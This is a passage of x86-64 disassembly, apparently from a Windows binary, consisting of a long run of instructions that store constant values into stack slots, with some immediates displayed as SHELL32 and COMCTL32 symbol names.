mov word [rsp + 0x19c8], ax
movabs rax, 0x7cb86ca484d2a4
mov qword [rsp + 0xac18], rax
movabs rax, 0x7ea56f46d283bc
mov qword [rsp + 0xac20], rax
mov eax, 0x502
mov word [rsp + 0x19cc], ax
movabs rax, 0x7363e43db95c18
mov qword [rsp + 0xac28], rax
mov eax, 0x745
mov word [rsp + 0x19d0], ax
mov dword [rsp + 0x6150], 0xf136
movabs rax, 0x763ce687dbcd6e
mov qword [rsp + 0xac30], rax
mov eax, 0x4df
mov word [rsp + 0x19d4], ax
movabs rax, 0x755ef28148ac69
mov qword [rsp + 0xac38], rax
mov dword [rsp + 0x6154], 0x6aa9d20c
movabs rax, 0x7e42806a45f2e6
mov qword [rsp + 0xac40], rax
movabs rax, 0x77d92dee758e99
mov qword [rsp + 0xac48], rax
mov eax, 0xdf1
mov word [rsp + 0x19d8], ax
movabs rax, 0x74a0e8c5ae0d23
mov qword [rsp + 0xac50], rax
mov byte [rsp + 0x276], 0x63
mov byte [rsp + 0x277], SHTestTokenMembership
mov eax, 0xdcd
mov word [rsp + 0x19dc], ax
movabs rax, 0x723b129a7517b3
mov qword [rsp + 0xac58], rax
mov eax, 0x426
mov word [rsp + 0x19e0], ax
mov eax, 0x9be
mov word [rsp + 0x19e4], ax
mov dword [rsp + 0x6158], 0x7469
mov byte [rsp + 0x278], 0x5e
mov byte [rsp + 0x279], 0x34
movabs rax, 0x77329e2b4063dc
mov qword [rsp + 0xac60], rax
movabs rax, 0x7b9591becb4bc3
mov qword [rsp + 0xac68], rax
mov byte [rsp + 0x27a], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x615c], 0x497c90d0
movabs rax, 0x7c35a57ff1f9b9
mov qword [rsp + 0xac70], rax
mov eax, 0xf0
mov word [rsp + 0x19e8], ax
mov eax, 0x310
mov word [rsp + 0x19ec], ax
mov dword [rsp + 0x6160], 0x22b88d52
movabs rax, 0x798066a72afcbe
mov qword [rsp + 0xac78], rax
mov byte [rsp + 0x27b], SHDoDragDrop
mov dword [rsp + 0x6164], 0x520
mov byte [rsp + 0x27c], 2
movabs rax, 0x7ba4b1b4a8bb88
mov qword [rsp + 0xac80], rax
mov dword [rsp + 0x6168], 0x251d5ac1
mov eax, 0x7e7
mov word [rsp + 0x19f0], ax
movabs rax, 0x7816c72643d2a8
mov qword [rsp + 0xac88], rax
mov eax, 0x310
mov word [rsp + 0x19f4], ax
mov byte [rsp + 0x27d], 0xf6
mov dword [rsp + 0x616c], 0x36c0c209
mov dword [rsp + 0x6170], 0xec6
movabs rax, 0x778c86efc9017d
mov qword [rsp + 0xac90], rax
movabs rax, 0x711e31462767cb
mov qword [rsp + 0xac98], rax
movabs rax, 0x77a21d20ea9df3
mov qword [rsp + 0xaca0], rax
movabs rax, 0x7c3728a80d7ffe
mov qword [rsp + 0xaca8], rax
mov dword [rsp + 0x6174], 0xb78a
movabs rax, 0x72995aec7bbc03
mov qword [rsp + 0xacb0], rax
mov eax, 0x15b
mov word [rsp + 0x19f8], ax
mov byte [rsp + 0x27e], 0x73
mov byte [rsp + 0x27f], 0x72
mov byte [rsp + 0x280], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0x6178], 0x23420cfb
movabs rax, 0x7305fb54df9ed1
mov qword [rsp + 0xacb8], rax
mov eax, 0xcdc
mov word [rsp + 0x19fc], ax
mov eax, 0x64f
mov word [rsp + 0x1a00], ax
mov dword [rsp + 0x617c], 0x605a
movabs rax, 0x703ac9a3e38e82
mov qword [rsp + 0xacc0], rax
movabs rax, 0x7320e6c72a987e
mov qword [rsp + 0xacc8], rax
movabs rax, 0x7ce7e465ece843
mov qword [rsp + 0xacd0], rax
mov dword [rsp + 0x6180], 0xb977
mov dword [rsp + 0x6184], 0x5533
mov eax, 0x102
mov word [rsp + 0x1a04], ax
movabs rax, 0x70600f3bf17800
mov qword [rsp + 0xacd8], rax
mov dword [rsp + 0x6188], 0x837a
mov dword [rsp + 0x618c], 0x6122
mov dword [rsp + 0x6190], 0xc9d1
mov dword [rsp + 0x6194], 0x6774
movabs rax, 0x70bb7bd1c8d4bc
mov qword [rsp + 0xace0], rax
movabs rax, 0x7b88f9df9faba9
mov qword [rsp + 0xace8], rax
mov eax, 0xc0b
mov word [rsp + 0x1a08], ax
mov eax, 0xf89
mov word [rsp + 0x1a0c], ax
mov eax, 0xb7b
mov word [rsp + 0x1a10], ax
mov dword [rsp + 0x6198], 0x323
mov eax, 0x35d
mov word [rsp + 0x1a14], ax
movabs rax, 0x70ee5e6f7aeeb3
mov qword [rsp + 0xacf0], rax
movabs rax, 0x78784456f9db36
mov qword [rsp + 0xacf8], rax
movabs rax, 0x7076ebbe39fb07
mov qword [rsp + 0xad00], rax
mov dword [rsp + 0x619c], 0x72e3
mov eax, 0x234
mov word [rsp + 0x1a18], ax
mov dword [rsp + 0x61a0], 0x63364b8a
mov eax, 0x6c5
mov word [rsp + 0x1a1c], ax
mov byte [rsp + 0x281], 0x65
mov eax, 0x529
mov word [rsp + 0x1a20], ax
mov dword [rsp + 0x61a4], 0xf892
mov eax, 0xc95
mov word [rsp + 0x1a24], ax
mov dword [rsp + 0x61a8], 0x571a
mov eax, 0x59
mov word [rsp + 0x1a28], ax
mov dword [rsp + 0x61ac], 0x6d0a049e
movabs rax, 0x786ef888dd08e3
mov qword [rsp + 0xad08], rax
mov dword [rsp + 0x61b0], 0x2e61566
mov eax, 0x5e7
mov word [rsp + 0x1a2c], ax
movabs rax, 0x78370d230231a3
mov qword [rsp + 0xad10], rax
mov eax, 0x457
mov word [rsp + 0x1a30], ax
movabs rax, 0x7b35c83595ee38
mov qword [rsp + 0xad18], rax
mov byte [rsp + 0x282], 0xd1
mov eax, 0x3f8
mov word [rsp + 0x1a34], ax
mov eax, 0x35e
mov word [rsp + 0x1a38], ax
movabs rax, 0x73dd32188840ac
mov qword [rsp + 0xad20], rax
movabs rax, 0x712a70884f2e54
mov qword [rsp + 0xad28], rax
mov byte [rsp + 0x283], 0x59
mov eax, 0x274
mov word [rsp + 0x1a3c], ax
movabs rax, 0x76e0ebaa2e2be7
mov qword [rsp + 0xad30], rax
movabs rax, 0x72b30474b41f8d
mov qword [rsp + 0xad38], rax
movabs rax, 0x70af1c2d7c9052
mov qword [rsp + 0xad40], rax
movabs rax, 0x7ee4bb67713d1f
mov qword [rsp + 0xad48], rax
mov eax, 0x573
mov word [rsp + 0x1a40], ax
movabs rax, 0x7ec37989868461
mov qword [rsp + 0xad50], rax
movabs rax, 0x782ceb44d0cc54
mov qword [rsp + 0xad58], rax
mov dword [rsp + 0x61b4], 0x925d
mov eax, 0xd39
mov word [rsp + 0x1a44], ax
mov eax, 0x8ce
mov word [rsp + 0x1a48], ax
mov eax, 0x335
mov word [rsp + 0x1a4c], ax
mov dword [rsp + 0x61b8], 0x7fb6
movabs rax, 0x73ab180bc31b28
mov qword [rsp + 0xad60], rax
movabs rax, 0x7d7f3e30809cf2
mov qword [rsp + 0xad68], rax
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], 0x1c
mov eax, 0x78a
mov word [rsp + 0x1a50], ax
mov eax, 0x7a9
mov word [rsp + 0x1a54], ax
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Unlock], 0x6a
mov dword [rsp + 0x61bc], 0x148f4540
mov dword [rsp + 0x61c0], 0x1737e1aa
movabs rax, 0x7eedf8d49e3f9b
mov qword [rsp + 0xad70], rax
mov dword [rsp + 0x61c4], 0xff5b
mov eax, 0x1a6
mov word [rsp + 0x1a58], ax
movabs rax, 0x7c7d012b5def73
mov qword [rsp + 0xad78], rax
movabs rax, 0x79cf1463bd69a9
mov qword [rsp + 0xad80], rax
movabs rax, 0x7e8022dc2464a9
mov qword [rsp + 0xad88], rax
mov dword [rsp + 0x61c8], 0x8e1f
mov dword [rsp + 0x61cc], 0x618548ca
mov eax, 0x4ca
mov word [rsp + 0x1a5c], ax
mov eax, 0x64f
mov word [rsp + 0x1a60], ax
movabs rax, 0x7382577838de30
mov qword [rsp + 0xad90], rax
mov dword [rsp + 0x61d0], 0x4b5a
movabs rax, 0x76c755268cdb9c
mov qword [rsp + 0xad98], rax
movabs rax, 0x760be0b8c330e5
mov qword [rsp + 0xada0], rax
mov byte [rsp + 0x286], 0xc4
mov eax, 0x522
mov word [rsp + 0x1a64], ax
movabs rax, 0x7870d78f5d0365
mov qword [rsp + 0xada8], rax
mov eax, 0x434
mov word [rsp + 0x1a68], ax
movabs rax, 0x75c6f13819daed
mov qword [rsp + 0xadb0], rax
mov byte [rsp + 0x287], 0x23
mov eax, 0x2e2
mov word [rsp + 0x1a6c], ax
movabs rax, 0x73df6e448e2111
mov qword [rsp + 0xadb8], rax
mov eax, 0xdae
mov word [rsp + 0x1a70], ax
mov eax, 0x99a
mov word [rsp + 0x1a74], ax
movabs rax, 0x7baacfa98a6cd7
mov qword [rsp + 0xadc0], rax
mov dword [rsp + 0x61d4], 0x30aa7c25
mov eax, 0x1fe
mov word [rsp + 0x1a78], ax
movabs rax, 0x7c2dc6b1f17a1c
mov qword [rsp + 0xadc8], rax
mov byte [rsp + 0x288], 0xc2
mov eax, 0x43c
mov word [rsp + 0x1a7c], ax
mov eax, 0xc82
mov word [rsp + 0x1a80], ax
movabs rax, 0x76b95c691061bc
mov qword [rsp + 0xadd0], rax
mov eax, 0x16f
mov word [rsp + 0x1a84], ax
mov byte [rsp + 0x289], 0x3b
mov byte [rsp + 0x28a], SHDoDragDrop
mov eax, 0x79a
mov word [rsp + 0x1a88], ax
mov eax, 0x768
mov word [rsp + 0x1a8c], ax
mov eax, 0x3b7
mov word [rsp + 0x1a90], ax
mov eax, 0xad9
mov word [rsp + 0x1a94], ax
movabs rax, 0x72b060f363f9c3
mov qword [rsp + 0xadd8], rax
movabs rax, 0x7c37e6d326e5e3
mov qword [rsp + 0xade0], rax
mov eax, 0x188
mov word [rsp + 0x1a98], ax
movabs rax, 0x7cace45d6905af
mov qword [rsp + 0xade8], rax
movabs rax, 0x7c3ba492733277
mov qword [rsp + 0xadf0], rax
mov dword [rsp + 0x61d8], 0x5437d55d
mov dword [rsp + 0x61dc], 0x611224cd
mov eax, 0x615
mov word [rsp + 0x1a9c], ax
mov dword [rsp + 0x61e0], 0xfb42
mov eax, 0x7b1
mov word [rsp + 0x1aa0], ax
mov byte [rsp + 0x28b], SHDoDragDrop
movabs rax, 0x7b8fb1915559a8
mov qword [rsp + 0xadf8], rax
mov dword [rsp + 0x61e4], 0xbfd8
mov byte [rsp + 0x28c], SHDoDragDrop
movabs rax, 0x750c70cbf019e9
mov qword [rsp + 0xae00], rax
mov dword [rsp + 0x61e8], 0xc6ae
mov dword [rsp + 0x61ec], 0x25fa92f4
movabs rax, 0x7cf20ce9cfde37
mov qword [rsp + 0xae08], rax
movabs rax, 0x72df297c711649
mov qword [rsp + 0xae10], rax
mov byte [rsp + 0x28d], reloc.COMCTL32.dll_DrawInsert
movabs rax, 0x79be5f0e407c72
mov qword [rsp + 0xae18], rax
movabs rax, 0x7687456fa608c8
mov qword [rsp + 0xae20], rax
mov byte [rsp + 0x28e], 0x50
movabs rax, 0x7b29751817aa1c
mov qword [rsp + 0xae28], rax
mov dword [rsp + 0x61f0], 0xeb7b
mov eax, 0xc04
mov word [rsp + 0x1aa4], ax
movabs rax, 0x793a00114098d5
mov qword [rsp + 0xae30], rax
mov eax, 0xb07
mov word [rsp + 0x1aa8], ax
mov eax, 0x5db
mov word [rsp + 0x1aac], ax
mov eax, 0x369
mov word [rsp + 0x1ab0], ax
mov dword [rsp + 0x61f4], 0xf7d3205
mov byte [rsp + 0x28f], 0x83
mov byte [rsp + 0x290], 0xd8
mov eax, 0x752
mov word [rsp + 0x1ab4], ax
mov eax, 0xb51
mov word [rsp + 0x1ab8], ax
movabs rax, 0x7c3f3b29c4df15
mov qword [rsp + 0xae38], rax
mov byte [rsp + 0x291], 0x1d
mov eax, 0x67f
mov word [rsp + 0x1abc], ax
movabs rax, 0x72caa662bf4295
mov qword [rsp + 0xae40], rax
mov eax, 0x3fd
mov word [rsp + 0x1ac0], ax
mov eax, 0xfb0
mov word [rsp + 0x1ac4], ax
mov eax, 0x5a4
mov word [rsp + 0x1ac8], ax
mov dword [rsp + 0x61f8], 0x57622fc7
movabs rax, 0x7c4ae192384abd
mov qword [rsp + 0xae48], rax
movabs rax, 0x7951149557cdf1
mov qword [rsp + 0xae50], rax
mov eax, 0x4c9
mov word [rsp + 0x1acc], ax
mov eax, 0x312
mov word [rsp + 0x1ad0], ax
mov byte [rsp + 0x292], PathMakeUniqueName
mov eax, 0x2b6
mov word [rsp + 0x1ad4], ax
mov eax, 0x1d
mov word [rsp + 0x1ad8], ax
mov byte [rsp + 0x293], 1
movabs rax, 0x7ad0e161905339
mov qword [rsp + 0xae58], rax
mov dword [rsp + 0x61fc], 0x229
movabs rax, 0x76af1fc0bdfdd8
mov qword [rsp + 0xae60], rax
movabs rax, 0x7787c5bf18ab0a
mov qword [rsp + 0xae68], rax
mov eax, 0x625
mov word [rsp + 0x1adc], ax
movabs rax, 0x72d5588e328aaf
mov qword [rsp + 0xae70], rax
mov dword [rsp + 0x6200], 0xde1c
mov eax, 0xc1
mov word [rsp + 0x1ae0], ax
mov dword [rsp + 0x6204], 0x84c8
movabs rax, 0x777b8e8e096392
mov qword [rsp + 0xae78], rax
mov dword [rsp + 0x6208], 0x2c92
mov eax, 0x17b
mov word [rsp + 0x1ae4], ax
mov dword [rsp + 0x620c], 0x419a
mov byte [rsp + 0x294], 0x27
movabs rax, 0x72c5f06e72b88a
mov qword [rsp + 0xae80], rax
movabs rax, 0x7aa18d5e15fdd3
mov qword [rsp + 0xae88], rax
mov byte [rsp + 0x295], 0xa2
mov byte [rsp + 0x296], 0x7b
movabs rax, 0x78565e743282ab
mov qword [rsp + 0xae90], rax
mov eax, 0xf0a
mov word [rsp + 0x1ae8], ax
mov dword [rsp + 0x6210], 0x8fd1
mov eax, 0x593
mov word [rsp + 0x1aec], ax
mov byte [rsp + 0x297], 0x5b
mov byte [rsp + 0x298], 0x75
mov eax, 0xcaf
mov word [rsp + 0x1af0], ax
mov dword [rsp + 0x6214], 0x3681
movabs rax, 0x7a80abcbab2bfc
mov qword [rsp + 0xae98], rax
mov dword [rsp + 0x6218], 0xc416
mov byte [rsp + 0x299], SHDoDragDrop
mov dword [rsp + 0x621c], 0x2fd2443c
mov byte [rsp + 0x29a], 0x41
movabs rax, 0x7297c431a5f203
mov qword [rsp + 0xaea0], rax
mov eax, 0x790
mov word [rsp + 0x1af4], ax
mov byte [rsp + 0x29b], 0x42
movabs rax, 0x7a0a1d1316ecdd
mov qword [rsp + 0xaea8], rax
mov eax, 0x578
mov word [rsp + 0x1af8], ax
mov eax, 0x712
mov word [rsp + 0x1afc], ax
mov byte [rsp + 0x29c], 0xa
mov dword [rsp + 0x6220], 0x25d7177d
mov eax, 0xbe3
mov word [rsp + 0x1b00], ax
mov eax, 0x2a7
mov word [rsp + 0x1b04], ax
mov dword [rsp + 0x6224], 0xb2bb
mov byte [rsp + 0x29d], ILGetNext
movabs rax, 0x787eb3c4af5080
mov qword [rsp + 0xaeb0], rax
mov byte [rsp + 0x29e], 0x1f
mov dword [rsp + 0x6228], 0xf2fd
mov dword [rsp + 0x622c], 0x341a
movabs rax, 0x72c8ec2b1b55ad
mov qword [rsp + 0xaeb8], rax
movabs rax, 0x70b2c763edde12
mov qword [rsp + 0xaec0], rax
mov eax, 0x6ed
mov word [rsp + 0x1b08], ax
movabs rax, 0x7b5ef92e0a14c8
mov qword [rsp + 0xaec8], rax
mov eax, 0x708
mov word [rsp + 0x1b0c], ax
movabs rax, 0x72f35a907ac127
mov qword [rsp + 0xaed0], rax
mov byte [rsp + 0x29f], 0xd4
movabs rax, 0x711d6d0243e697
mov qword [rsp + 0xaed8], rax
mov eax, 0x5fd
mov word [rsp + 0x1b10], ax
movabs rax, 0x79b6d1d01fa415
mov qword [rsp + 0xaee0], rax
mov byte [rsp + 0x2a0], 0
movabs rax, 0x7d54b0aa36b048
mov qword [rsp + 0xaee8], rax
movabs rax, 0x7e964c09dec7a1
mov qword [rsp + 0xaef0], rax
mov byte [rsp + 0x2a1], 0x77
mov byte [rsp + 0x2a2], 0xd1
mov eax, 0xae4
mov word [rsp + 0x1b14], ax
movabs rax, 0x73eed4a07bc5b7
mov qword [rsp + 0xaef8], rax
mov eax, 0x9b2
mov word [rsp + 0x1b18], ax
mov dword [rsp + 0x6230], 0x366acc6e
mov byte [rsp + 0x2a3], 0x7c
mov eax, 0x223
mov word [rsp + 0x1b1c], ax
mov dword [rsp + 0x6234], 0x55d6
mov byte [rsp + 0x2a4], 3
movabs rax, 0x794ced20b3c5af
mov qword [rsp + 0xaf00], rax
mov byte [rsp + 0x2a5], 0x41
movabs rax, 0x769d9185bb4c50
mov qword [rsp + 0xaf08], rax
movabs rax, 0x739786b8243d77
mov qword [rsp + 0xaf10], rax
mov dword [rsp + 0x6238], 0xc89c
mov dword [rsp + 0x623c], 0xcb5
movabs rax, 0x7bd44eae749fc9
mov qword [rsp + 0xaf18], rax
movabs rax, 0x70e953e41dc4f7
mov qword [rsp + 0xaf20], rax
mov eax, 0x815
mov word [rsp + 0x1b20], ax
mov dword [rsp + 0x6240], 0x746af3a8
mov dword [rsp + 0x6244], 0x9def
mov dword [rsp + 0x6248], 0xca3c
movabs rax, 0x75f64144190417
mov qword [rsp + 0xaf28], rax
mov dword [rsp + 0x624c], 0x7e6224ae
mov byte [rsp + 0x2a6], 0x24
mov dword [rsp + 0x6250], 0xe3c9
movabs rax, 0x7149a83f48d590
mov qword [rsp + 0xaf30], rax
mov eax, 0x3bf
mov word [rsp + 0x1b24], ax
mov dword [rsp + 0x6254], 0x288b359
mov eax, 0x194
mov word [rsp + 0x1b28], ax
mov eax, 0xb6e
mov word [rsp + 0x1b2c], ax
mov eax, 0x1cf
mov word [rsp + 0x1b30], ax
mov byte [rsp + 0x2a7], ILIsParent
mov dword [rsp + 0x6258], 0x4aec7477
mov eax, 0x4ff
mov word [rsp + 0x1b34], ax
movabs rax, 0x71536d03adecce
mov qword [rsp + 0xaf38], rax
mov byte [rsp + 0x2a8], 0x1e
mov byte [rsp + 0x2a9], SHDoDragDrop
movabs rax, 0x736ab870cd9d26
mov qword [rsp + 0xaf40], rax
mov dword [rsp + 0x625c], 0xceb043d
mov eax, 0x746
mov word [rsp + 0x1b38], ax
mov byte [rsp + 0x2aa], reloc.COMCTL32.dll_DrawInsert
mov byte [rsp + 0x2ab], SHGetNewLinkInfoW
mov eax, 0x667
mov word [rsp + 0x1b3c], ax
mov byte [rsp + 0x2ac], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x742ad0b95a560b
mov qword [rsp + 0xaf48], rax
movabs rax, 0x745da29910ef64
mov qword [rsp + 0xaf50], rax
mov dword [rsp + 0x6260], 0x68a0
mov byte [rsp + 0x2ad], 0x32
mov byte [rsp + 0x2ae], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6264], 0xd56a
mov eax, 0x99d
mov word [rsp + 0x1b40], ax
mov byte [rsp + 0x2af], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0x6268], 0x9bd4
mov byte [rsp + 0x2b0], 0xe8
mov byte [rsp + 0x2b1], 0
mov dword [rsp + 0x626c], 0x600
movabs rax, 0x70a1139119c115
mov qword [rsp + 0xaf58], rax
movabs rax, 0x7bf6481f0c64f0
mov qword [rsp + 0xaf60], rax
mov dword [rsp + 0x6270], 0x66e6
movabs rax, 0x7a836b9e40f8af
mov qword [rsp + 0xaf68], rax
mov dword [rsp + 0x6274], 0xcc3f
mov eax, 0x7f5
mov word [rsp + 0x1b44], ax
mov eax, 0xa0a
mov word [rsp + 0x1b48], ax
movabs rax, 0x7c385681bdfa61
mov qword [rsp + 0xaf70], rax
mov byte [rsp + 0x2b2], 0x83
movabs rax, 0x716c50935020ae
mov qword [rsp + 0xaf78], rax
mov eax, 0x3ee
mov word [rsp + 0x1b4c], ax
mov dword [rsp + 0x6278], 0xa957
mov eax, 0x2f9
mov word [rsp + 0x1b50], ax
movabs rax, 0x7ed29c908ca555
mov qword [rsp + 0xaf80], rax
mov eax, 0x19e
mov word [rsp + 0x1b54], ax
mov eax, 0xa8d
mov word [rsp + 0x1b58], ax
movabs rax, 0x787a044e4819c7
mov qword [rsp + 0xaf88], rax
mov eax, 0xed9
mov word [rsp + 0x1b5c], ax
mov byte [rsp + 0x2b3], ILGetNext
mov eax, SetWindowSubclass
mov word [rsp + 0x1b60], ax
movabs rax, 0x73895422de36c8
mov qword [rsp + 0xaf90], rax
mov eax, 0x53e
mov word [rsp + 0x1b64], ax
mov dword [rsp + 0x627c], 0x3f9ab803
movabs rax, 0x74bf94da33bc5d
mov qword [rsp + 0xaf98], rax
mov eax, 0xdd7
mov word [rsp + 0x1b68], ax
movabs rax, 0x7de610dc9462a3
mov qword [rsp + 0xafa0], rax
mov byte [rsp + 0x2b4], 0x5b
movabs rax, 0x77a0b50300ce40
mov qword [rsp + 0xafa8], rax
movabs rax, 0x7eb483aaa562d4
mov qword [rsp + 0xafb0], rax
mov byte [rsp + 0x2b5], 0x7a
mov byte [rsp + 0x2b6], SHTestTokenMembership
mov byte [rsp + 0x2b7], 0x1c
mov byte [rsp + 0x2b8], 0xde
movabs rax, 0x7e2f2575f98fd9
mov qword [rsp + 0xafb8], rax
mov eax, 0x287
mov word [rsp + 0x1b6c], ax
mov dword [rsp + 0x6280], 0x4499
mov eax, 0x352
mov word [rsp + 0x1b70], ax
movabs rax, 0x71349346dc49f5
mov qword [rsp + 0xafc0], rax
mov dword [rsp + 0x6284], 0x70b770a0
movabs rax, 0x7006ba8c3af705
mov qword [rsp + 0xafc8], rax
mov byte [rsp + 0x2b9], ILIsParent
mov dword [rsp + 0x6288], 0x2e6f2f45
mov eax, 0x308
mov word [rsp + 0x1b74], ax
mov eax, 0x7e
mov word [rsp + 0x1b78], ax
mov dword [rsp + 0x628c], 0xed23
mov eax, 0x57b
mov word [rsp + 0x1b7c], ax
mov eax, 0x2d2
mov word [rsp + 0x1b80], ax
movabs rax, 0x7d283e45a2dd33
mov qword [rsp + 0xafd0], rax
movabs rax, 0x7dc6c76c25afc0
mov qword [rsp + 0xafd8], rax
movabs rax, 0x71e794c8b639af
mov qword [rsp + 0xafe0], rax
mov byte [rsp + 0x2ba], 0x6f
mov dword [rsp + 0x6290], 0x92d4
movabs rax, 0x7afbcb78a3b561
mov qword [rsp + 0xafe8], rax
mov dword [rsp + 0x6294], 0x4b4d
mov dword [rsp + 0x6298], 0x393160f2
mov eax, 0xa17
mov word [rsp + 0x1b84], ax
mov eax, 0x80
mov word [rsp + 0x1b88], ax
movabs rax, 0x7e1bd7c7f867a1
mov qword [rsp + 0xaff0], rax
mov byte [rsp + 0x2bb], SHDoDragDrop
movabs rax, 0x7253bea609c7f3
mov qword [rsp + 0xaff8], rax
mov byte [rsp + 0x2bc], 0x88
mov eax, 0x488
mov word [rsp + 0x1b8c], ax
movabs rax, 0x7ef4886fb45a48
mov qword [rsp + 0xb000], rax
movabs rax, 0x7dcafa84fbcf53
mov qword [rsp + 0xb008], rax
mov eax, 0x443
mov word [rsp + 0x1b90], ax
mov dword [rsp + 0x629c], 0x280dfc96
mov byte [rsp + 0x2bd], 0x73
movabs rax, 0x77de134f2c5828
mov qword [rsp + 0xb010], rax
mov eax, 0x42a
mov word [rsp + 0x1b94], ax
movabs rax, 0x71aecfa7542482
mov qword [rsp + 0xb018], rax
mov eax, 0x56f
mov word [rsp + 0x1b98], ax
mov eax, 0x2a9
mov word [rsp + 0x1b9c], ax
mov dword [rsp + 0x62a0], 0x7c1710a2
movabs rax, 0x77011113df5731
mov qword [rsp + 0xb020], rax
movabs rax, 0x78ea39b9e8625b
mov qword [rsp + 0xb028], rax
movabs rax, 0x7eb11bd21a55af
mov qword [rsp + 0xb030], rax
movabs rax, 0x78d44937e29a37
mov qword [rsp + 0xb038], rax
mov eax, 0xc2c
mov word [rsp + 0x1ba0], ax
mov eax, 0x44
mov word [rsp + 0x1ba4], ax
mov eax, 0x3ef
mov word [rsp + 0x1ba8], ax
mov eax, 0xb35
mov word [rsp + 0x1bac], ax
mov byte [rsp + 0x2be], 0x67
mov eax, 0x96c
mov word [rsp + 0x1bb0], ax
mov eax, 0x565
mov word [rsp + 0x1bb4], ax
mov eax, 0x4c4
mov word [rsp + 0x1bb8], ax
mov eax, 0x3b8
mov word [rsp + 0x1bbc], ax
mov byte [rsp + 0x2bf], 0x61
mov byte [rsp + 0x2c0], 0xd4
mov eax, 0x791
mov word [rsp + 0x1bc0], ax
mov byte [rsp + 0x2c1], SHDoDragDrop
mov eax, 0x717
mov word [rsp + 0x1bc4], ax
movabs rax, 0x780885836fd740
mov qword [rsp + 0xb040], rax
mov eax, 0x312
mov word [rsp + 0x1bc8], ax
mov eax, 0x3f2
mov word [rsp + 0x1bcc], ax
mov eax, 0x432
mov word [rsp + 0x1bd0], ax
mov dword [rsp + 0x62a4], 0x29eb
mov eax, 0x570
mov word [rsp + 0x1bd4], ax
mov byte [rsp + 0x2c2], 0x5a
mov byte [rsp + 0x2c3], 0x4c
mov eax, 0x3a3
mov word [rsp + 0x1bd8], ax
mov eax, 0x13c
mov word [rsp + 0x1bdc], ax
movabs rax, 0x73f981ee38da9a
mov qword [rsp + 0xb048], rax
mov byte [rsp + 0x2c4], 0x30
movabs rax, 0x7b334efdcd2258
mov qword [rsp + 0xb050], rax
mov eax, 0xe91
mov word [rsp + 0x1be0], ax
movabs rax, 0x763d3b0e53daff
mov qword [rsp + 0xb058], rax
mov eax, 0x83b
mov word [rsp + 0x1be4], ax
mov byte [rsp + 0x2c5], 0x88
mov eax, 0x1a8
mov word [rsp + 0x1be8], ax
mov eax, 0x57b
mov word [rsp + 0x1bec], ax
mov byte [rsp + 0x2c6], 0xce
mov dword [rsp + 0x62a8], 0x1c46d275
mov byte [rsp + 0x2c7], 0x66
mov byte [rsp + 0x2c8], 0x61
mov byte [rsp + 0x2c9], 0xf8
movabs rax, 0x7962fbf83a3f82
mov qword [rsp + 0xb060], rax
mov dword [rsp + 0x62ac], 0x3608
mov eax, 0x50b
mov word [rsp + 0x1bf0], ax
mov byte [rsp + 0x2ca], 0xa
mov dword [rsp + 0x62b0], 0x111a0dc3
mov byte [rsp + 0x2cb], 0x77
mov eax, 0x118
mov word [rsp + 0x1bf4], ax
movabs rax, 0x7c1ee935fa5d01
mov qword [rsp + 0xb068], rax
mov byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties], 0x5b
mov byte [rsp + 0x2cd], reloc.SHELL32.dll_ILAppendID
movabs rax, 0x76885d70858e08
mov qword [rsp + 0xb070], rax
mov byte [rsp + 0x2ce], 0x21
mov dword [rsp + 0x62b4], 0x1c792113
mov dword [rsp + 0x62b8], 0x9b1d
movabs rax, 0x7c28b407325d45
mov qword [rsp + 0xb078], rax
mov eax, 0x181
mov word [rsp + 0x1bf8], ax
mov byte [rsp + 0x2cf], reloc.SHELL32.dll_ILIsEqual
mov dword [rsp + 0x62bc], 0x3084
mov dword [rsp + 0x62c0], 0x3705f3a7
mov eax, 0xe01
mov word [rsp + 0x1bfc], ax
movabs rax, 0x72597fd41e038d
mov qword [rsp + 0xb080], rax
mov eax, 0x680
mov word [rsp + 0x1c00], ax
movabs rax, 0x7149ffef7d21d7
mov qword [rsp + 0xb088], rax
mov dword [rsp + 0x62c4], 0x147140fd
mov eax, 0x4ef
mov word [rsp + 0x1c04], ax
mov eax, 0xd6e
mov word [rsp + 0x1c08], ax
mov dword [rsp + 0x62c8], 0x370c8b7b
mov dword [rsp + 0x62cc], 0x7570f6f2
mov eax, 0x1ac
mov word [rsp + 0x1c0c], ax
mov byte [rsp + 0x2d0], PathMakeUniqueName
mov byte [rsp + 0x2d1], 0x65
mov dword [rsp + 0x62d0], 0x34e7
mov byte [rsp + 0x2d2], SHUpdateImageW
movabs rax, 0x7bca7571d3c816
mov qword [rsp + 0xb090], rax
mov eax, 0x52b
mov word [rsp + 0x1c10], ax
movabs rax, 0x74802708d2f615
mov qword [rsp + 0xb098], rax
movabs rax, 0x7b4cc46b35fa3f
mov qword [rsp + 0xb0a0], rax
mov eax, 0x568
mov word [rsp + 0x1c14], ax
mov byte [rsp + 0x2d3], 0x26
movabs rax, 0x700b018dce285b
mov qword [rsp + 0xb0a8], rax
mov eax, 0x187
mov word [rsp + 0x1c18], ax
mov eax, 0x81c
mov word [rsp + 0x1c1c], ax
mov eax, 0x323
mov word [rsp + 0x1c20], ax
mov eax, 0x32a
mov word [rsp + 0x1c24], ax
mov eax, 0xe72
mov word [rsp + 0x1c28], ax
movabs rax, 0x75b98145f43f91
mov qword [rsp + 0xb0b0], rax
mov byte [rsp + 0x2d4], 0x3d
mov byte [rsp + 0x2d5], 0xc5
mov dword [rsp + 0x62d4], 0xa753
movabs rax, 0x71d5b3a1e6cd21
mov qword [rsp + 0xb0b8], rax
movabs rax, 0x79ce6f57887c1a
mov qword [rsp + 0xb0c0], rax
mov eax, 0xfce
mov word [rsp + 0x1c2c], ax
mov byte [rsp + 0x2d6], 0x5f
mov eax, 0x154
mov word [rsp + 0x1c30], ax
mov eax, 0x9f
mov word [rsp + 0x1c34], ax
mov dword [rsp + 0x62d8], 0x520f
movabs rax, 0x71e508956548d1
mov qword [rsp + 0xb0c8], rax
mov eax, 0x457
mov word [rsp + 0x1c38], ax
mov eax, 0x2b7
mov word [rsp + 0x1c3c], ax
movabs rax, 0x7b8f08753b2773
mov qword [rsp + 0xb0d0], rax
mov byte [rsp + reloc.SHELL32.dll_SHGetImageList], 8
mov byte [rsp + 0x2d8], 0x1f
